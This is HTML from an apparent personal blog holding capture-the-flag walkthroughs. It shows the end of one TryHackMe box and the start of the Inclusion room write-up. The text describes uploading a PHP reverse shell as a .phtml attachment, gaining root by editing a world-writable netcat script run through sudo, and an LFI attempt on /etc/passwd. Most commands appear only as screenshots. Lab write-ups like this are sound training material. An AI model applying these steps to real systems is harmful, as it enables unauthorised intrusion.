src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj82vDDlc2Wjcx90Av_r7aVDF5_cj0sNrgH5LyX6L6xqXBRsM287XXEaRzb1BQtvyPKQCslLz0N-F5ctCbMpjm2nzfvrviTax_wuz2Vq-R-XrvJbkxgSk9Rvx88tjWOQAK7jdPRM3A7WfIg/w320-h156/expl_9.png" width="320" /></a></div><p>Yup. We're in! Now here's another point I went down a rabbit hole. I had made a dumb mistake trying to setup a remote shell. I thought "huh, this doesn't work" and tried to find alternative methods to get in. Ultimately I found my mistake and fixed it, but in the meantime I learned a lot about how this app functions which was entirely unnecessary to complete the CTF. I tried connecting to the mysql server unsuccessfully. I turned on the blog (notice in the screenshot above). I fiddled with post creation...And ultimately that related to the remote shell that I eventually used.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz9NLyuCXXnn0nUF6KzBJojrZx7VXAk_9g5q4duUNQGTj3VY8-t4TZJQbGWCa0QXY3DdejPxnMkbFAz8GzUd2M8mHYKjitMmdPstBkrqbN4m9u3Go4kLNZtk2KJcM6o5huMoXGykBlXZRy/s658/expl_10.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="658" data-original-width="625" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgz9NLyuCXXnn0nUF6KzBJojrZx7VXAk_9g5q4duUNQGTj3VY8-t4TZJQbGWCa0QXY3DdejPxnMkbFAz8GzUd2M8mHYKjitMmdPstBkrqbN4m9u3Go4kLNZtk2KJcM6o5huMoXGykBlXZRy/s320/expl_10.png" width="304" /></a></div><p>You click on the post count and there, you can create a post.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNpMU6PQQQ0nqlxDT5mLoler2FcuTDsjfA6mGuRxmdiGEf30axsPNMqdKoWCu1cvUjiqUvvF6mSASYph9n3ip3ZYQrAhgWSQZVgIdyN6UNKM-wcnSolZ4vEsSr6zabn5ZW1ROb5Uhsqcs5/s618/expl_11.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="486" data-original-width="618" height="252" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNpMU6PQQQ0nqlxDT5mLoler2FcuTDsjfA6mGuRxmdiGEf30axsPNMqdKoWCu1cvUjiqUvvF6mSASYph9n3ip3ZYQrAhgWSQZVgIdyN6UNKM-wcnSolZ4vEsSr6zabn5ZW1ROb5Uhsqcs5/s320/expl_11.png" width="320" /></a></div><p>When you create a post, you can upload an attachment. You just have to scroll down to the bottom where you can do that. Cool, let's create our reverse shell. We know this is a php server, so let's try the last payload on PayloadsAllTheThings
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#php">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#php</a></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEgdl35N6IRRseN9PtJ5jZTisN4kApxPzAfnBKKOuuR23eYeHbYOJ4TXDfoOM4QHu9819JASQGL4hjD3wTSxCPaLq193D7dR6e9le5cGslm3HbnNTqdh1ceKnNRD9jekBhrB4P1OB6GK9E/s859/expl_12.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="428" data-original-width="859" height="318" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEgdl35N6IRRseN9PtJ5jZTisN4kApxPzAfnBKKOuuR23eYeHbYOJ4TXDfoOM4QHu9819JASQGL4hjD3wTSxCPaLq193D7dR6e9le5cGslm3HbnNTqdh1ceKnNRD9jekBhrB4P1OB6GK9E/w640-h318/expl_12.png" width="640" /></a></div><p>Now, what I forgot the first time was to convert this script so that it's actually a php webpage.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOjQfQRej50thY4-okIWQ-EhqFhTozL81vyjfswEXvSG4oM5pnjrwkzkxQM67VEBsjNzEWlNVzkSr2-gDeQEY5DVo_19t4XRl55re1tBtcj65ytdJqgXLAwttI3kJXoDFtNITh7Qe6iq76/s621/expl_13.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="115" data-original-width="621" height="118" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOjQfQRej50thY4-okIWQ-EhqFhTozL81vyjfswEXvSG4oM5pnjrwkzkxQM67VEBsjNzEWlNVzkSr2-gDeQEY5DVo_19t4XRl55re1tBtcj65ytdJqgXLAwttI3kJXoDFtNITh7Qe6iq76/w640-h118/expl_13.png" width="640" /></a></div><p>You'll notice that in my screenshot I used the <span style="font-family: courier;">.phtml</span> extension instead of <span style="font-family: courier;">.php</span>. That's because when I tried to upload the <span style="font-family: courier;">.php</span> version, there was no error message, the server just didn't accept it and there was nothing at <span style="font-family: courier;">/contents/attachments</span>.</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmR3pm0anlr8kPW6PGHH2RVe-5Vp50ByA647xJJ7CIH1Ld3G-DIXO55MpCUgR721TXIsErFUasfQU07KgakOvjA740E4VFs9PxckpZsoj9uwpt5HLdq598jv8e1FgPTwcyDNNGnu36yMbR/s500/expl_14.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="43" data-original-width="500" height="56" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmR3pm0anlr8kPW6PGHH2RVe-5Vp50ByA647xJJ7CIH1Ld3G-DIXO55MpCUgR721TXIsErFUasfQU07KgakOvjA740E4VFs9PxckpZsoj9uwpt5HLdq598jv8e1FgPTwcyDNNGnu36yMbR/w640-h56/expl_14.png" width="640" /></a></div><p></p><p>Interestingly, in all my fiddling I did figure out that you didn't even have to create a post to do this. Just go to the create page and upload the attachment, then go to the attachments page.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh92de5njtazYW4BxShTmy8zAhmYqGJCRWsmKAfebMY81TN-73vLvEpPqg2jS__fbG4nkj5vMir2rGt4arm41uqNQyuczIBCNlz9vKpRdAzowzZBR4qbs8x68M5tkuuZI8XfxRNN_POSCAZ/s603/expl_15.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="241" data-original-width="603" height="128" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh92de5njtazYW4BxShTmy8zAhmYqGJCRWsmKAfebMY81TN-73vLvEpPqg2jS__fbG4nkj5vMir2rGt4arm41uqNQyuczIBCNlz9vKpRdAzowzZBR4qbs8x68M5tkuuZI8XfxRNN_POSCAZ/s320/expl_15.png" width="320" /></a></div><p>Sweet, we can just click on it to trigger it, but first we need to listen on our machine.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7RUG6ETPkTX956iCcivvi9SsXcPzp9oyk_f-F47JzwPGr3JZ1wzItocLFxXuUUfuzDXL42nS9N7xOolElvbAwfW5rQtkmXH7RMjtY0bm9-leOJ_xHatXK2gqCsqfxY6_zNKQqKPa_7DhS/s258/expl_16.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="136" data-original-width="258" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7RUG6ETPkTX956iCcivvi9SsXcPzp9oyk_f-F47JzwPGr3JZ1wzItocLFxXuUUfuzDXL42nS9N7xOolElvbAwfW5rQtkmXH7RMjtY0bm9-leOJ_xHatXK2gqCsqfxY6_zNKQqKPa_7DhS/s0/expl_16.png" width="258" /></a></div><p>Now we can click on our file and the server should try to process it as a webpage, thus activating our script.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTbKso8yGAIr4DuXgqFO3Kqp9YEwdezGkYx-Z-zne678bAyQ4EhAWknyo6FAtx7QNXOYdQZNQadC_xB3GfYfj53Cwj7iXwWCkPg-4AmReNKtSuyMnDtlg6ZOGEX-KHA6hNJ83LHpUtKDmb/s504/expl_17.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="131" data-original-width="504" height="166" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTbKso8yGAIr4DuXgqFO3Kqp9YEwdezGkYx-Z-zne678bAyQ4EhAWknyo6FAtx7QNXOYdQZNQadC_xB3GfYfj53Cwj7iXwWCkPg-4AmReNKtSuyMnDtlg6ZOGEX-KHA6hNJ83LHpUtKDmb/w640-h166/expl_17.png" width="640" /></a></div><p></p><p>Cool, what user are we?</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxFV8IUlAxpNCnT0EGZWm50_eO5COe44hSMLRmPdUVB0UBYZLP7JDfVzFhfwVRTr95w0CXTFFJH4Z7pUBOtu2A_dqO5EHi1VKfL7g7XihTG27IZpMtBtvk8z91pI05CFg-U-0o6W9NLW6n/s188/expl_18.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="71" data-original-width="188" height="71" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxFV8IUlAxpNCnT0EGZWm50_eO5COe44hSMLRmPdUVB0UBYZLP7JDfVzFhfwVRTr95w0CXTFFJH4Z7pUBOtu2A_dqO5EHi1VKfL7g7XihTG27IZpMtBtvk8z91pI05CFg-U-0o6W9NLW6n/s0/expl_18.png" width="188" /></a></div><p>Sweet. We're the server user. In order to <a href="https://linuxize.com/post/su-command-in-linux/" target="_blank">su</a>, we'll need to upgrade our shell. Let's follow the instructions at
<a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys">https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys</a>. For the record, I screwed this up a dozen or so times before I got it right enough to actually be able to use it. The shell was still a bit finicky, but it worked ok. One of the biggest tricks is that the default kali terminal is not running bash, so you have to start by running bash before you start <a href="http://netcat.sourceforge.net/" target="_blank">netcat</a> listening.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDlbJ3ULOPdD14IxPhPVLokt3LLaWx_9qnnQyGP7sJD2ptkRQc_QqbwarqQtGYp17sd-J-uPtpSueyciTfid70H8ksascars7LoUowg1duUjwwjwIwPjHQVGIcuaAyhCrb_quD7IY0-hmE/s251/expl_19.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="99" data-original-width="251" height="99" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDlbJ3ULOPdD14IxPhPVLokt3LLaWx_9qnnQyGP7sJD2ptkRQc_QqbwarqQtGYp17sd-J-uPtpSueyciTfid70H8ksascars7LoUowg1duUjwwjwIwPjHQVGIcuaAyhCrb_quD7IY0-hmE/s0/expl_19.png" width="251" /></a></div><p>To reiterate the steps, you first run this script once the reverse shell works.</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguRkIBnoOElj1X0-PbkXlb66e1rCZ6BkO4h6WO5XQgaei-voKPfNXO8rLqQHpWCHCQkSduYEl4s9HaP1Boe5aHechihra3zGSyAIkb9ibFyUlS9sXf0qjNkyKz4Q2CxKDz0lLWrsX0sdfp/s929/expl_20.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="291" data-original-width="929" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguRkIBnoOElj1X0-PbkXlb66e1rCZ6BkO4h6WO5XQgaei-voKPfNXO8rLqQHpWCHCQkSduYEl4s9HaP1Boe5aHechihra3zGSyAIkb9ibFyUlS9sXf0qjNkyKz4Q2CxKDz0lLWrsX0sdfp/w640-h200/expl_20.png" width="640" /></a></div><p></p><p>Then you should have a better terminal. You should then press <span style="font-family: courier;">CTRL+Z</span> to background your netcat connected terminal and get back to your local shell. You use that to determine what values to fill in for later by running <span style="font-family: courier;">echo $TERM</span> and <span style="font-family: courier;">stty -a</span>. You will use that data later, so then we run the last few steps:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobqWpmSTn0mj9ZfJzprsBjAq0P48ny_3IOefwiIb43eW7_vWmbWrNiBCma6ulnKvU-stmPZ5WsX7OjdHgMDQ489MzEbKv_4zPKRfElmfQo4NR9tRXfIPx9uPX-35ruP3pFD82ebYpfC2Q/s834/expl_21.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="461" data-original-width="834" height="354" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobqWpmSTn0mj9ZfJzprsBjAq0P48ny_3IOefwiIb43eW7_vWmbWrNiBCma6ulnKvU-stmPZ5WsX7OjdHgMDQ489MzEbKv_4zPKRfElmfQo4NR9tRXfIPx9uPX-35ruP3pFD82ebYpfC2Q/w640-h354/expl_21.png" width="640" /></a></div><p>And with a proper shell, we can move on to the next phase.</p><h2 style="text-align: left;">Privilege Escalation</h2><p>I want to see what the admin's username is. Maybe he used that password from earlier, but with a different username.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidYoO_JEFmA3ruUzS2C42tcXnbL5HV9Vuqc1E9RpPlOO3Rv3XRAHXk-t72IZyVaqMYdY_jJ90FTDqt1KaS3CAZZ40HGne4ZJVvkkI_0i4zibVU9ZmKfvC442Gf4XVUtpho34W4Wn8IaAn_/s95/priv_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="33" data-original-width="95" height="33" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidYoO_JEFmA3ruUzS2C42tcXnbL5HV9Vuqc1E9RpPlOO3Rv3XRAHXk-t72IZyVaqMYdY_jJ90FTDqt1KaS3CAZZ40HGne4ZJVvkkI_0i4zibVU9ZmKfvC442Gf4XVUtpho34W4Wn8IaAn_/s0/priv_1.png" width="95" /></a></div><p>Let's try logging in.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEif8ytOtU_KWdeErHFU2xoLTjj-5ZHOTXBTzl0LMOmq4mnv5ctos0g3PPZi-oIiQJYVt8zblGT20wc2yqvGEwISdbXOzQWiCPGesbE6GgmKM8l-3ChT3eWjNQrzdO7x_BMnGEaxgM7t9AMt/s618/priv_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="186" data-original-width="618" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEif8ytOtU_KWdeErHFU2xoLTjj-5ZHOTXBTzl0LMOmq4mnv5ctos0g3PPZi-oIiQJYVt8zblGT20wc2yqvGEwISdbXOzQWiCPGesbE6GgmKM8l-3ChT3eWjNQrzdO7x_BMnGEaxgM7t9AMt/w400-h120/priv_2.png" width="400" /></a></div><p>Hrmpf. No dice. Ok, so that's not going to work. I felt like I was supposed to login to the itguy account for a long time here, which also held me up. Ultimately, I did what we should always do first, and checked my sudo privileges.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeqb5Wi5IhsStukeCrwzv4WFOEAWD7INfke-26X9QQh7dQPHM1LZT02exmrQ9QhJpJ_OT4WxbyLHrm20glBYAv4CHmqDJyS_sqxJdU-6zzkzQzA1qIyFrOhuHtMhKKVASMFE34Iefs3F4V/s791/priv_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="151" data-original-width="791" height="122" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeqb5Wi5IhsStukeCrwzv4WFOEAWD7INfke-26X9QQh7dQPHM1LZT02exmrQ9QhJpJ_OT4WxbyLHrm20glBYAv4CHmqDJyS_sqxJdU-6zzkzQzA1qIyFrOhuHtMhKKVASMFE34Iefs3F4V/w640-h122/priv_3.png" width="640" /></a></div><p>We have sudo privileges to perl, but only for a specific perl script. Let's see what that script is.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqchu7zzfLbbaFvG801f2W2aCuQ0k3HfTx3EabV2ub4P1DXET0b4zrA2UUdxSvGNvbJjEKvGiiaqAWssO-fD4nWQ6uuZPJOZAEUtOJL9-1YJFnINF-Tk-YIdaBm3SLZXySHNQVjdKoPumx/s771/priv_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="211" data-original-width="771" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqchu7zzfLbbaFvG801f2W2aCuQ0k3HfTx3EabV2ub4P1DXET0b4zrA2UUdxSvGNvbJjEKvGiiaqAWssO-fD4nWQ6uuZPJOZAEUtOJL9-1YJFnINF-Tk-YIdaBm3SLZXySHNQVjdKoPumx/w640-h176/priv_4.png" width="640" /></a></div><p>It called another script, so I checked out that script as well. Interesting that he's running a system command. That looks like it might be running as root. I hunted around and found that the user flag is in itguy's folder, so I feel like I must've gone the wrong route with all of this, but meh, we get there in the end.</p><p>So looking at the second script, it's running netcat like we did. I wonder if we have write permissions.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJHMTDUHtgxGh_fNOIYfGN4eCzpHTasDOBRx50iYajULDZOrUnUpGBvj3BnKm4olVUFvDXB8xJ_99lw4Hhq0y5NuEdllhSI_-1ZvN04I5k087PnvKdzIBHWO6QiBzIQlrIzwsxIefXB82i/s681/priv_5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="71" data-original-width="681" height="66" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJHMTDUHtgxGh_fNOIYfGN4eCzpHTasDOBRx50iYajULDZOrUnUpGBvj3BnKm4olVUFvDXB8xJ_99lw4Hhq0y5NuEdllhSI_-1ZvN04I5k087PnvKdzIBHWO6QiBzIQlrIzwsxIefXB82i/w640-h66/priv_5.png" width="640" /></a></div><p>We can't write to the backup.pl file, but this file our lazy admin clearly copied from another server has write permissions to everyone! Yay! Now this is why we needed an upgraded shell. Vim, vi, and other tools don't exist on this server. But nano does! So I edited the file with nano to change the ip address of the netcat to mine.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0-3XoJL1Y76Le58EHaJXBvjdkSh7IfS9WAaoqcu-4CvXLzhYszVDsTK8QtAIlDNv3K7Lro2Jhb23iFROGS7kKPnYgIzusIdrdXR2mggTYhBWyRlwNUJkwNBhk9eC_QbrF8OnCpKze840R/s696/priv_6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="54" data-original-width="696" height="50" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0-3XoJL1Y76Le58EHaJXBvjdkSh7IfS9WAaoqcu-4CvXLzhYszVDsTK8QtAIlDNv3K7Lro2Jhb23iFROGS7kKPnYgIzusIdrdXR2mggTYhBWyRlwNUJkwNBhk9eC_QbrF8OnCpKze840R/w640-h50/priv_6.png" width="640" /></a></div><p>Now above I ran it too. I want to note that I ran it once before it changed by accident, which locked itguy out from editing <span style="font-family: courier;">/tmp/f</span> so I couldn't run it with <span style="font-family: courier;">sudo -u itguy</span> anymore. Since I had sensed it ran as root anyway, I tried that above after starting a local netcat listener on 5554. So once we did, it connected and...</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaju1R2KhA2UcEMAUoJQWdzgmp49VRj_I6gUgSXhY9xibahV1W6-SC8d72d8Yk_s_8u26bIo3mxVbWiUupfrYN_Y7bjiYcfckOdFPmd-LRC99UJO4RBGuIqpqQ7aUwO6Rp45Zu-bwaW3wU/s514/priv_7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="221" data-original-width="514" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaju1R2KhA2UcEMAUoJQWdzgmp49VRj_I6gUgSXhY9xibahV1W6-SC8d72d8Yk_s_8u26bIo3mxVbWiUupfrYN_Y7bjiYcfckOdFPmd-LRC99UJO4RBGuIqpqQ7aUwO6Rp45Zu-bwaW3wU/w640-h276/priv_7.png" width="640" /></a></div><p>As root user it was no problem to grab the flags. On to the next box!<br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p>deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-14587853406607931872021-11-03T20:23:00.001-04:002021-11-03T20:23:24.133-04:00TryHackMe - Inclusion Room<p> Another box down. It's NanoWrimo at the moment, so I'm not as efficient, but this box was super easy, and a great introduction to another tool, so let's do a writeup. This was <a href="https://tryhackme.com" target="_blank">TryHackMe</a>'s <a href="https://tryhackme.com/room/inclusion" target="_blank">Inclusion Room</a><br /></p><h2 style="text-align: left;">Reconnaissance</h2><p>Let's see if the box has a website.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYOd5ZREe-Vdrhl5WuRi0WHrwkvznaO-lgzLceNUPZgxQoIUzq_Q9hX8ZGmiabIKFiNAjH0bblA_r7ClAAz-h17zayKGmNPm6Rk7W1xD8V9hyFalbsJvS5pMs07ACpljmNjDjZuwUzrEC7/s861/03-18-17_1635981459.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="566" data-original-width="861" height="210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYOd5ZREe-Vdrhl5WuRi0WHrwkvznaO-lgzLceNUPZgxQoIUzq_Q9hX8ZGmiabIKFiNAjH0bblA_r7ClAAz-h17zayKGmNPm6Rk7W1xD8V9hyFalbsJvS5pMs07ACpljmNjDjZuwUzrEC7/s320/03-18-17_1635981459.png" width="320" /></a></div><p>Neat. Is this a standard website?</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPq5jVDNIzsdePU5DyZhuCJ1-0DrkAXg3tNDWJ9UbznUy0j7Jp90LdF0Z6heB4E5Df2wXOAryG3nIm76yIEeb1KwNMMU221dbluM18_kT7LoLKARqpmvL6mUmxzXsiyP8p6178lh3ot_4x/s219/03-18-17_1635981473.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="138" data-original-width="219" height="138" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPq5jVDNIzsdePU5DyZhuCJ1-0DrkAXg3tNDWJ9UbznUy0j7Jp90LdF0Z6heB4E5Df2wXOAryG3nIm76yIEeb1KwNMMU221dbluM18_kT7LoLKARqpmvL6mUmxzXsiyP8p6178lh3ot_4x/s0/03-18-17_1635981473.png" width="219" /></a></div><p>Hmm. Looks custom. That might be a username too. Let's hang onto it for reference. Just to be sure, let's see what kind of server it is.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFp8mbQcdZ17Iz1QR2DMVemV7XZDd8QXWpk1SaobT7-Uqlq8i54iYa_o3bc_oekXjDIcFNzAyfmr0e6DhT-o8FYjHParhUkTroCV6FeI1_It3Ch-fZ04nNgX-qoVLvwvgIIF5G4kppwDft/s846/11-03--18-18_1635981508.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="411" data-original-width="846" height="155" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFp8mbQcdZ17Iz1QR2DMVemV7XZDd8QXWpk1SaobT7-Uqlq8i54iYa_o3bc_oekXjDIcFNzAyfmr0e6DhT-o8FYjHParhUkTroCV6FeI1_It3Ch-fZ04nNgX-qoVLvwvgIIF5G4kppwDft/s320/11-03--18-18_1635981508.png" width="320" /></a></div><p>Python server. Neat. This blog must actually work. Check out the neat theming they did in the text of the articles.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGq7BoOFZV7RjDJZbMt3eeKSiRlvC9YTYa7cOO_mGXkfaiCv87-cz6cNYHrgTk6sJx_IzBuermHPubPSV6XQW7KUB4LHVhaQZ8_BugeWyXLe0XocFiwuX3o6dyuGvQtGNPpaFA4aSHw74H/s781/03-18-19_1635981562.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="353" data-original-width="781" height="145" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGq7BoOFZV7RjDJZbMt3eeKSiRlvC9YTYa7cOO_mGXkfaiCv87-cz6cNYHrgTk6sJx_IzBuermHPubPSV6XQW7KUB4LHVhaQZ8_BugeWyXLe0XocFiwuX3o6dyuGvQtGNPpaFA4aSHw74H/s320/03-18-19_1635981562.png" width="320" /></a></div><p>Let's click on that LFI-Attack article and see how the site specifies which article we're viewing.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_YsTJrngXDchXoBu0e3fUDFClOX-WtJQKrGU7YJpXQzNe0GqLvMLAhUTNMtQH23wtoYibDmou-110oIrdBq7YQp3VosEsXgSxibXIeKbaHO0GDMhC9H3FrHBEYZXL08UnCPvYM0b5p9AY/s924/03-18-21_1635981684.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="576" data-original-width="924" height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_YsTJrngXDchXoBu0e3fUDFClOX-WtJQKrGU7YJpXQzNe0GqLvMLAhUTNMtQH23wtoYibDmou-110oIrdBq7YQp3VosEsXgSxibXIeKbaHO0GDMhC9H3FrHBEYZXL08UnCPvYM0b5p9AY/s320/03-18-21_1635981684.png" width="320" /></a></div><p>OK, neat. It uses the query string to specify the article. That should be easy to mess with. We know that this is an LFI challenge, so we might have enough info to skip to exploitation, but we should do our due dilligence.</p><h2 style="text-align: left;">Enumeration <br /></h2><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1OXgcCPcEIV8_2Feu6OyaPMt8lVOn2gUTIt9iqmLd5vO2PLHXlVsF8VaFy12zd3boymtUHdJDIdzIJHDnXo7gXZ55HXWQYPmxG1jboi6y-kWlUYFw6K8WnMgbUUHwPpTh59lrGu9yFZKb/s758/03-18-21_1635981661.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="223" data-original-width="758" height="94" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1OXgcCPcEIV8_2Feu6OyaPMt8lVOn2gUTIt9iqmLd5vO2PLHXlVsF8VaFy12zd3boymtUHdJDIdzIJHDnXo7gXZ55HXWQYPmxG1jboi6y-kWlUYFw6K8WnMgbUUHwPpTh59lrGu9yFZKb/s320/03-18-21_1635981661.png" width="320" /></a></div><p>Well, nothing but http and ssh on standard ports in nmap. Let's try gobuster.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo7K3Po_djNj4pR13N1WOW1BXN3pCz0z83ojZ_kNvCwU_6Fz_7w43FSei1-BwoQyDmxoQ7ML7qnop_5SF9IxVvrCG6A9BRaTgwDCNrGSg7QhYRBXrcifJAlQ9rpoxN5uPDkQ_Cp2uRAgya/s658/03-18-38_1635982687.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="295" data-original-width="658" height="143" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgo7K3Po_djNj4pR13N1WOW1BXN3pCz0z83ojZ_kNvCwU_6Fz_7w43FSei1-BwoQyDmxoQ7ML7qnop_5SF9IxVvrCG6A9BRaTgwDCNrGSg7QhYRBXrcifJAlQ9rpoxN5uPDkQ_Cp2uRAgya/s320/03-18-38_1635982687.png" width="320" /></a></div><p>Well, that was a bust (ba dum tsh). Let's see if we can attack that querystring after all.</p><h2 style="text-align: left;">Exploitation</h2><p>Well, the article we're reading on the page about LFI Attacks, even mentions trying to get <span style="font-family: courier;">/etc/passwd</span> so let's try that.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCLI_ltebTD3xeKR3KOngI8sHY6ZgReIqwEhZuq2zZRYt3-arFJjmNSq5xti8wNqVSy9UBhVi6JZRIn6D1EJUw2ZDIOshcIX-dZGuHeSAy0WFxHNttuH614Lq-Nd9J6F7q9gApQ32mHarx/s926/03-18-21_1635981716.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="266" data-original-width="926" height="92" 